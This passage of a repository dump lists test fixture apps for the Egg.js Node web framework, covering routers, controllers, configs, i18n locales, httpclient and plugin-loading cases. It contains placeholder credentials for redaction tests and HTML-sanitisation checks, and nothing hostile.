    "content": "module.exports = {\n  async bar() {\n    this.ctx.body = 'this is obj bar!';\n  },\n\n  subObj: {\n    async hello() {\n      this.ctx.body = 'this is subObj hello!';\n    },\n\n    subSubObj: {\n      async hello() {\n        this.ctx.body = 'this is subSubObj hello!';\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', 'home');\n  app.get('/hello', app.controller.hello);\n  app.get('/logger', app.controller.logger);\n  app.get('/protocol', async function () {\n    this.body = this.protocol;\n  });\n\n  app.get('/user.json', app.jsonp(), async function () {\n    this.body = { name: 'fengmk2' };\n  });\n  app.get('/ip', app.controller.ip);\n\n  app.get('/class-controller', 'foo.bar');\n\n  app.get('/obj-controller', 'obj.bar');\n  app.get('/obj-error', 'obj.error');\n  app.get('/subobj-controller', 'obj.subObj.hello');\n\n  app.get('/obj2-controller', app.controller.obj2.bar);\n  app.get('/subobj2-controller', app.controller.obj2.subObj.hello);\n  app.get('/subSubObj-hello', app.controller.obj2.subObj.subSubObj.hello);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app.js",
    "content": "const { mm } = require('mm');\n\nclass DemoAppTest {\n  constructor(app) {\n    this.app = app;\n\n    // Add an attached variable exposed to the unit test\n    this.app.triggerCount = 0;\n\n    // Mock \"lifecycle\" function with a counter\n    // Before calling \"ready()\"\n    mm(this.app.lifecycle, 'triggerServerDidReady', () => {\n      this.app.triggerCount++;\n    });\n  }\n\n  configWillLoad() {\n    this.app.config.tips = 'hello egg started';\n  }\n\n  async didReady() {\n    // dynamic router\n    this.app.all('/all', this.app.controller.home);\n  }\n}\n\nmodule.exports = DemoAppTest;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/config/config.default.js",
    "content": "exports.keys = 'foo';\nexports.proxy = true;\nexports.buffer = Buffer.from('test');\n\nexports.pass = 'this is pass';\nexports.pwd = 'this is pwd';\nexports.password = 'this is password';\nexports.passwordNew = 'this is passwordNew';\nexports.mysql = {\n  passd: 'this is passd',\n  passwd: 'this is passwd',\n  secret: 'secret 123',\n  secretNumber: 123,\n  secretBoolean: true,\n  masterKey: 'this is masterKey',\n  accessKey: 'this is accessKey',\n  accessId: 'this is accessId',\n  consumerSecret: 'this is consumerSecret',\n  someSecret: null,\n};\n\nexports.logger = {\n  // consoleLevel: 'NONE',\n  // coreLogger: {\n  //   consoleLevel: 'NONE',\n  // },\n  // concentrateError: 'ignore',\n  // level: 'NONE',\n};\n\nexports.tips = 'hello egg';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/config/config.unittest.js",
    "content": "exports.logger = {\n  // consoleLevel: 'NONE',\n  // coreLogger: {\n  //   consoleLevel: 'NONE',\n  // },\n  // concentrateError: 'ignore',\n  // level: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/index.js",
    "content": "const egg = require('../../../../');\n\negg.start().then((app) => {\n  app.listen(3000);\n  console.log('listen 3000');\n});\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/development/app/public/foo.js",
    "content": "alert('bar');\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/development/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/foo.js', function () {\n    this.body = 'foo.js';\n  });\n\n  app.get('/foo', function () {\n    this.body = 'foo';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/development/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/development/config/plugin.js",
    "content": "exports.static = true;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/development/package.json",
    "content": "{\n  \"name\": \"development\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dnscache_httpclient/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  let args;\n  if (this.query.host) {\n    args = {};\n    args.headers = { host: this.query.host };\n  }\n  if (this.query.Host) {\n    args = {};\n    args.headers = { Host: this.query.Host };\n  }\n  if (this.query.disableDNSCache) {\n    args = { enableDNSCache: false };\n  }\n  const result = await this.curl(this.query.url, args);\n  this.status = result.status;\n  this.set(result.headers);\n  this.body = result.data;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dnscache_httpclient/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dnscache_httpclient/config/config.default.js",
    "content": "'use strict';\n\nexports.httpclient = {\n  lookup: function (hostname, options, callback) {\n    const IP_REGEX = /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/;\n    if (IP_REGEX.test(hostname)) {\n      const family = typeof options.family === 'number' ? options.family : 4;\n      if (options.all) {\n        callback(null, [{ address: hostname, family }]);\n      } else {\n        callback(null, hostname, family);\n      }\n    } else {\n      const resultIp = '127.0.0.1';\n      if (options.all) {\n        callback(null, [{ address: resultIp, family: 4 }]);\n      } else {\n        callback(null, resultIp, 4);\n      }\n    }\n  },\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dnscache_httpclient/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dnscache_httpclient/package.json",
    "content": "{\n  \"name\": \"dnscache_httpclient-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/docapp/app/middleware/koastatic.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = () => {\n  return require('koa-static')(path.join(process.cwd(), 'site/dist'));\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/docapp/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  keys: 'test key',\n  middleware: ['koastatic'],\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/docapp/package.json",
    "content": "{\n  \"name\": \"docapp\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dump-ignore-error/config/config.default.js",
    "content": "exports.dump = null;\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dump-ignore-error/package.json",
    "content": "{\n  \"name\": \"dump-ignore-error\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumpconfig/app.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst assert = require('assert');\nconst { scheduler } = require('node:timers/promises');\n\nfunction readJSON(p) {\n  return JSON.parse(fs.readFileSync(p));\n}\n\nmodule.exports = (app) => {\n  const baseDir = app.config.baseDir;\n  let json;\n\n  app.config.dynamic = 1;\n  app.beforeStart(async function () {\n    // dumpConfig() dynamically\n    // json = readJSON(path.join(baseDir, 'run/application_config.json'));\n    // assert(json.config.dynamic === 1, 'should dump in config');\n    // json = readJSON(path.join(baseDir, 'run/agent_config.json'));\n    // assert(json.config.dynamic === 0, 'should dump in config');\n\n    await scheduler.wait(2000);\n    app.config.dynamic = 2;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumpconfig/config/config.default.js",
    "content": "exports.dynamic = 0;\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumpconfig/config/plugin.js",
    "content": "'use strict';\n\nexports.static = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumpconfig/package.json",
    "content": "{\n  \"name\": \"dumpconfig\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumpconfig-circular/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.beforeStart(async function () {\n    await scheduler.wait(500);\n    app.config.foo.push(app.config.foo);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumpconfig-circular/config/config.default.js",
    "content": "exports.dynamic = 0;\n\nexports.keys = 'test key';\nexports.foo = [];\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumpconfig-circular/package.json",
    "content": "{\n  \"name\": \"dumpconfig-circular\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-slowBootActionMinDuration/app.js",
    "content": "module.exports = class {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    this.app.coreLogger.info('start doing sth in didLoad');\n    return new Promise((resolve) => {\n      setTimeout(() => {\n        this.app.coreLogger.info('end doing sth in didLoad');\n        resolve();\n      }, 150);\n    });\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-slowBootActionMinDuration/config/config.default.js",
    "content": "exports.keys = 'test key';\nexports.dump = {\n  timing: {\n    slowBootActionMinDuration: 100,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-slowBootActionMinDuration/config/plugin.js",
    "content": "exports.static = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-slowBootActionMinDuration/package.json",
    "content": "{\n  \"name\": \"dumptiming-slowBootActionMinDuration\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-timeout/app.js",
    "content": "'use strict';\n\nmodule.exports = class {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    this.app.coreLogger.info('start doing sth in didLoad');\n    return new Promise((resolve) => {\n      setTimeout(() => {\n        this.app.coreLogger.info('end doing sth in didLoad');\n        resolve();\n      }, 1500);\n    });\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-timeout/config/config.default.js",
    "content": "exports.keys = 'test key';\nexports.workerStartTimeout = 1000;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-timeout/config/plugin.js",
    "content": "'use strict';\n\nexports.static = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/dumptiming-timeout/package.json",
    "content": "{\n  \"name\": \"dumptiming-timeout\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/empty/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/empty/package.json",
    "content": "{\n  \"name\": \"empty\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/encrypt-cookies/app/controller/home.js",
    "content": "module.exports = async function () {\n  var encrypt = this.cookies.get('foo', {\n    encrypt: true,\n  });\n  var encryptWrong = this.cookies.get('foo', { signed: false });\n  var plain = this.cookies.get('plain', { signed: false });\n  this.cookies.set('foo', 'bar 中文', {\n    encrypt: true,\n  });\n  this.cookies.set('plain', 'text ok', { signed: false });\n  this.body = {\n    set: 'bar 中文',\n    encrypt: encrypt,\n    encryptWrong: encryptWrong,\n    plain: plain,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/encrypt-cookies/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/encrypt-cookies/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/encrypt-cookies/config/plugin.js",
    "content": "exports.security = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/encrypt-cookies/package.json",
    "content": "{\n  \"name\": \"encrypt-cookies\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = 'home';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon/config/config.default.js",
    "content": "exports.siteFile = {\n  '/favicon.ico': 'https://eggjs.org/favicon.ico',\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon/package.json",
    "content": "{\n  \"name\": \"favicon\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-buffer/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = 'home';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-buffer/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-buffer/config/config.default.js",
    "content": "exports.siteFile = {\n  '/favicon.ico': Buffer.from('https://eggjs.org/favicon.ico'),\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-buffer/package.json",
    "content": "{\n  \"name\": \"favicon-buffer\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-function/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  this.body = 'home';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-function/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-function/config/config.default.js",
    "content": "exports.siteFile = {\n  '/favicon.ico': async (ctx) => {\n    return `https://eggjs.org/function${ctx.path}`;\n  },\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/favicon-function/package.json",
    "content": "{\n  \"name\": \"favicon-function\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/get-logger/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/logger', function () {\n    this.getLogger('aLogger').info('aaa');\n    this.body = 'done';\n  });\n\n  app.get('/noExistLogger', function () {\n    this.body = this.app.getLogger('noexist') + '';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/get-logger/config/config.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    customLogger: {\n      aLogger: {\n        file: path.join(appInfo.baseDir, 'logs', appInfo.name, 'a.log'),\n      },\n    },\n\n    keys: 'secret key',\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/get-logger/package.json",
    "content": "{\n  \"name\": \"get-logger\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/helper/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = 'hello home';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/helper/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/home', 'home');\n\n  app.get('/pathFor', function () {\n    this.body = this.helper.pathFor('home', this.query);\n  });\n\n  app.get('/urlFor', function () {\n    this.body = this.helper.urlFor('home', this.query);\n  });\n\n  app.get('/escape', function () {\n    this.body = this.helper.escape('<script>');\n  });\n\n  // should work\n  app.get('/shtml', function () {\n    this.body =\n      this.helper.shtml('<img src=\"http://shaoshuai.me\" alt=\"alt\">') == '<img src=\"http://shaoshuai.me\" alt=\"alt\">';\n  });\n\n  // should sanitize tags not in whiteList\n  app.get('/shtml-sanitise', function () {\n    this.body = this.helper.shtml('<a href=\"/\">xx</a><h1>a</h1>') == '<a href=\"/\">xx</a>&lt;h1&gt;a&lt;/h1&gt;';\n  });\n\n  app.get('/shtml-not-in-domain-whitelist', function () {\n    this.body = this.helper.shtml('<a href=\"http://xx.me\">xx</a>') == '<a>xx</a>';\n  });\n\n  app.get('/shtml-in-default-domain-whitelist', function () {\n    this.body = this.helper.shtml('<a href=\"http://alipay.com/xx\">xx</a>') == '<a href=\"http://alipay.com/xx\">xx</a>';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/helper/config/config.default.js",
    "content": "'use strict';\n\nexports.helpers = {\n  shtml: {\n    domainWhiteList: ['.shaoshuai.me'],\n    whiteList: {\n      a: [, /*'target'*/ 'href', 'title'],\n      img: ['src', 'alt', 'title', 'width', 'height'],\n    },\n  },\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/helper/package.json",
    "content": "{\n  \"name\": \"helper\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-agent-timeout-3000/config/config.default.js",
    "content": "'use strict';\n\nexports.httpclient = {\n  // agent timeout\n  timeout: '3s',\n  freeSocketKeepAliveTimeout: '2s',\n  maxSockets: 100,\n  maxFreeSockets: 100,\n  keepAlive: false,\n\n  request: {\n    timeout: '10s',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-agent-timeout-3000/package.json",
    "content": "{\n  \"name\": \"httpclient-agent-timeout-3000\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-next-overwrite/app.js",
    "content": "const assert = require('assert');\n\nmodule.exports = (app) => {\n  class CustomHttpClient extends app.HttpClientNext {\n    request(url, opt) {\n      return new Promise((resolve) => {\n        assert(url.startsWith('http'), 'url should start with http, but got ' + url);\n        resolve();\n      }).then(() => {\n        return super.request(url, opt);\n      });\n    }\n\n    curl(url, opt) {\n      return this.request(url, opt);\n    }\n  }\n  app.HttpClient = app.HttpClientNext = CustomHttpClient;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-next-overwrite/config/config.default.js",
    "content": "'use strict';\n\nexports.httpclient = {\n  useHttpClientNext: true,\n  request: {\n    timeout: 99,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-next-overwrite/package.json",
    "content": "{\n  \"name\": \"httpclient-overwrite\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-next-with-tracer/config/config.default.js",
    "content": "module.exports = {\n  httpclient: {\n    useHttpClientNext: true,\n    timeout: '5s',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-next-with-tracer/config/plugin.js",
    "content": "module.exports = {\n  tracer: {\n    enable: true,\n    package: '@eggjs/tracer',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-next-with-tracer/package.json",
    "content": "{\n  \"name\": \"httpclient-next-with-tracer\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-overwrite/app.js",
    "content": "'use strict';\n\nconst assert = require('assert');\n\nmodule.exports = (app) => {\n  class CustomHttpClient extends app.HttpClient {\n    request(url, opt) {\n      return new Promise((resolve) => {\n        assert(url.startsWith('http'), 'url should start with http, but got ' + url);\n        resolve();\n      }).then(() => {\n        return super.request(url, opt);\n      });\n    }\n\n    curl(url, opt) {\n      return this.request(url, opt);\n    }\n  }\n  app.HttpClient = CustomHttpClient;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-overwrite/config/config.default.js",
    "content": "'use strict';\n\nexports.httpclient = {\n  request: {\n    timeout: 100,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-overwrite/package.json",
    "content": "{\n  \"name\": \"httpclient-overwrite\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-request-timeout-100/config/config.default.js",
    "content": "'use strict';\n\nexports.httpclient = {\n  request: {\n    timeout: 100,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-request-timeout-100/package.json",
    "content": "{\n  \"name\": \"httpclient-request-timeout-100\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-retry/package.json",
    "content": "{\n  \"name\": \"httpclient-retry\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-tracer/app.js",
    "content": "const assert = require('assert');\n\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    const httpclient = app.httpclient;\n\n    const reqTracers = [];\n    const resTracers = [];\n\n    httpclient.on('request', function (options) {\n      reqTracers.push(options.args.tracer);\n    });\n\n    httpclient.on('response', function (options) {\n      resTracers.push(options.req.args.tracer);\n    });\n\n    const url = process.env.localServerUrl || 'https://registry.npmmirror.com';\n\n    let res = await httpclient.request(url, {\n      method: 'GET',\n      timeout: 20000,\n    });\n    assert(res.status === 200);\n\n    res = await httpclient.request('https://registry.npmmirror.com', {\n      method: 'GET',\n      timeout: 20000,\n    });\n\n    assert(res.status === 200);\n\n    res = await httpclient.request('https://www.npmjs.com', {\n      method: 'GET',\n      timeout: 20000,\n    });\n    assert(res.status === 200);\n\n    assert(reqTracers.length === 3);\n    assert(resTracers.length === 3);\n\n    assert(reqTracers[0] === reqTracers[1]);\n    assert(reqTracers[1] === reqTracers[2]);\n\n    assert(resTracers[0] === reqTracers[2]);\n    assert(resTracers[1] === resTracers[0]);\n    assert(resTracers[2] === resTracers[1]);\n\n    assert(reqTracers[0].traceId);\n  });\n\n  const done = app.readyCallback('ready');\n  setTimeout(done, 5000);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-tracer/config/plugin.js",
    "content": "module.exports = {\n  tracer: {\n    enable: true,\n    package: '@eggjs/tracer',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/httpclient-tracer/package.json",
    "content": "{\n  \"name\": \"httpclient-tracer\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  await this.render('home.html', {\n    user: {\n      name: 'fengmk2',\n    },\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/app/controller/message.js",
    "content": "module.exports = async function () {\n  this.body = {\n    message: this.__('Hello %s, how are you today? How was your %s.', 'fengmk2', 18),\n    empty: this.__(),\n    notexists_key: this.__('key not exists'),\n    empty_string: this.__(''),\n    novalue: this.__('key %s ok'),\n    // __ 别名 gettext 也可以使用\n    arguments3: this.gettext('%s %s %s', 1, 2, 3),\n    arguments4: this.gettext('%s %s %s %s', 1, 2, 3, 4),\n    arguments5: this.__('%s %s %s %s %s', 1, 2, 3, 4, 5),\n    arguments6: this.__('%s %s %s %s %s.', 1, 2, 3, 4, 5, 6),\n    values: this.__('{0} {1} {0} {1} {2} {100}', ['foo', 'bar']),\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n  app.get('/message', app.controller.message);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/app/view/home.html",
    "content": "<li>{{ __('Email') }}: {{ user.email }}</li>\n<li>{{ gettext('Hello %s, how are you today?', user.name) }}</li>\n<li>{{ __('%s %s', 'foo', 'bar') }}</li>\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/config/config.default.js",
    "content": "'use strict';\n\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/config/locales/de.json",
    "content": "{\n  \"Hello\": \"Hallo\",\n  \"Hello %s, how are you today?\": \"Hallo %s, wie geht es dir heute?\",\n  \"weekend\": \"Wochenende\",\n  \"Hello %s, how are you today? How was your %s.\": \"Hallo %s, wie geht es dir heute? Wie war dein %s.\",\n  \"Hi\": \"Hi\",\n  \"Howdy\": \"Hallöchen\",\n  \"tree\": \"Baum\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/config/locales/xx.txt",
    "content": "foo\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/config/locales/zh-CN.js",
    "content": "module.exports = {\n  Email: '邮箱',\n  'Hello %s, how are you today?': '%s，今天过得如何？',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  i18n: true,\n  nunjucks: {\n    enable: true,\n    package: 'egg-view-nunjucks',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/i18n/package.json",
    "content": "{\n  \"name\": \"i18n\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/keys-exists/config/config.default.js",
    "content": "exports.keys = 'my keys';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/keys-exists/package.json",
    "content": "{\n  \"name\": \"keys-missing-local\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/keys-missing/config/config.unittest.js",
    "content": "exports.logger = {\n  consoleLevel: 'NONE',\n  coreLogger: {\n    consoleLevel: 'NONE',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/keys-missing/package.json",
    "content": "{\n  \"name\": \"keys-missing\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/koa-session/app/controller/clear.js",
    "content": "module.exports = async function () {\n  this.session = null;\n  this.body = 'clear';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/koa-session/app/controller/home.js",
    "content": "module.exports = async function () {\n  if (!this.session.uid) {\n    this.session.uid = this.query.uid;\n  }\n  this.body = {\n    sessionUid: this.session.uid,\n    uid: this.query.uid,\n    userId: this.userId,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/koa-session/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n  app.get('/clear', app.controller.clear);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/koa-session/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/koa-session/package.json",
    "content": "{\n  \"name\": \"koa-session\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    const foo2 = await this.service.foo2();\n    const foo3 = await this.service.foo3.foo3();\n    this.body = {\n      foo2: foo2,\n      foo3: foo3,\n    };\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/app/service/Foo4.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo4 extends app.Service {}\n\n  return Foo4;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/app/service/foo.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo extends app.Service {}\n\n  return Foo;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/app/service/foo2.js",
    "content": "module.exports = async function () {\n  return 'foo2';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/app/service/foo3/foo3.js",
    "content": "module.exports = async function () {\n  return 'foo3';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/app/service/fooDir/Foo5.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo5 extends app.Service {}\n\n  return Foo5;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.date = Date.now();\n  app.app = 'app';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/config/config.default.js",
    "content": "exports.plugin = 'override plugin';\n\nexports.middleware = [];\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/config/map.json",
    "content": "{}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  // 插件简写\n  a: false,\n\n  a1: true,\n\n  // 标准写法\n  b: {\n    enable: true,\n  },\n\n  // 会自动补全信息\n  c: {},\n\n  // 别名，app.plugins.d1\n  d1: {\n    package: 'd',\n  },\n\n  e: {\n    path: path.join(__dirname, '../plugins/e'),\n  },\n\n  f: {\n    path: path.join(__dirname, '../plugins/f'),\n  },\n\n  g: {\n    path: path.join(__dirname, '../plugins/g'),\n  },\n\n  // 覆盖内置的\n  rds: {\n    enable: true,\n    dependencies: ['session'],\n    package: 'rds',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/a/app/proxy/a.js",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/a/app/service/bar1.js",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/a/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.dateA = Date.now();\n  app.a = 'plugin a';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/a/config/config.js",
    "content": "exports.pluginA = 1;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/a1/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a1\",\n    \"dep\": [ \"d1\" ],\n    \"env\": [ \"local\", \"prod\" ]\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/app/service/bar2.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar2 extends app.Service {}\n\n  return Bar2;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.dateB = Date.now();\n  app.b = 'plugin b';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/config/antx.default.properties",
    "content": "key.name = pluginDefault\n; 覆盖默认的\napp.protocol = http\na = 1\n"
  },
  {
